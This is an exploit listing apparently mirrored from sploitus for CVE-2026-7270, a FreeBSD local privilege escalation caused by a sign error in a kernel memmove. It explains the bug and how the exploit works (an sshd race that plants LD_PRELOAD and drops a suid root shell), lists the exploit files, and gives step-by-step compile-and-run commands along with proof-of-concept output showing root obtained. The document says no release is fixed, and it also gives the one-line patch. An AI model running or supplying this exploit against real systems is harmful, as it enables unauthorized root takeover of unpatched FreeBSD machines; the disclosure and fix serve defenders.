Share
## https://sploitus.com/exploit?id=1774132B-B2ED-5E86-9B6C-AD11D88B262F
# CVE-2026-7270

**FreeBSD local privilege escalation via `exec_args_adjust_args` OOB memmove**

An operator-precedence bug in `exec_args_adjust_args()` (`sys/kern/kern_exec.c`, present since 2013) lets any local user escalate to root on a default FreeBSD install with sshd running. No suid binaries, no kernel modules, no configuration changes required.

## The Bug

```c
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
    args->endp - args->begin_argv + consume);   /* BUG: + should be - */
```

`+ consume` should be `- consume`. The wrong sign makes the memmove copy `2 * consume` bytes instead of the correct `endp - begin_argv - consume`. With a 265,185-byte `argv[0]` in a shebang exec, the memmove overflows the 528,384-byte exec_map entry by 2,024 bytes into the adjacent entry โ€” no crash, no signal, no page fault.

## Exploit

The exploit races the OOB memmove against sshd's `fork`/`execv` on incoming TCP connections. sshd-session is executed root-to-root with no suid/sgid transition, so `issetugid()` returns 0 and the runtime linker honors `LD_PRELOAD`. The exploit plants `LD_PRELOAD=/tmp/evil.so` in sshd-session's exec_map entry; the evil.so constructor runs as uid=0 and drops a suid root shell at `/tmp/rootsh`.

Root obtained at round 5,030, ~6 seconds after launch on a 4-CPU VM.

## Impact

| | |
|---|---|
| Affected versions | FreeBSD 11.0 through 14.4 (all releases; no fix in any branch as of disclosure) |
| Prerequisites | Local unprivileged shell; sshd running (default on FreeBSD) |
| Reliability | ~0.6% hit rate per round; root in seconds on a 4-CPU system |
| Tested | FreeBSD 14.4-RELEASE-p1 amd64, GENERIC kernel, 4 CPUs, 2GB RAM |

## Fix

Change one character in `sys/kern/kern_exec.c`:

```diff
-    args->endp - args->begin_argv + consume);
+    args->endp - (args->begin_argv + consume));
```

## Files

| File | Description |
|---|---|
| `exec1_lpe21.c` | Self-contained exploit โ€” compile and run as unprivileged user |
| `run_poc.sh` | QEMU automation: boots FreeBSD 14.4, compiles, and runs the exploit |
| `WRITEUP.md` | Full technical writeup: bug analysis, exploit architecture, development history |
| `blog.md` | Narrative account of discovery and exploit development |
| `images/` | SVG diagrams: exec_map layout, self-copy mechanism, full attack overview |

## Usage

On a FreeBSD 14.4 target, as any unprivileged user:

```sh
cc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... a few seconds ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
```

Under QEMU (macOS host, requires `qemu` and `sshpass`):

```sh
./run_poc.sh        # boots VM, compiles, runs exploit
./run_poc.sh run    # re-run against already-running VM
./run_poc.sh clean  # remove VM artifacts
```

## PoC

```
$ ./run_poc.sh
[*] Booting FreeBSD 14.4 VM (4 CPUs, 2GB RAM, SSH on port 2225)...
[*] QEMU pid 25908, log: vm.log
[*] Waiting for SSH on port 2225...
[*] SSH up after 1s
[*] Copying exploit source to VM...
[*] Creating unprivileged user 'freebsd' and compiling...
[*] Compiled OK
[*] Running exploit as 'freebsd' (up to 15000 rounds)...
[*] Watch for ROOT OBTAINED below:


[!!!] ROOT OBTAINED!
  uid=0 euid=0 pid=3413
[!!!] Root shell: /tmp/rootsh -p

[*] Verifying root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x  1 root wheel 169288 May  7 05:51 /tmp/rootsh
=== id via rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Stopping VM (pid 25908)...
```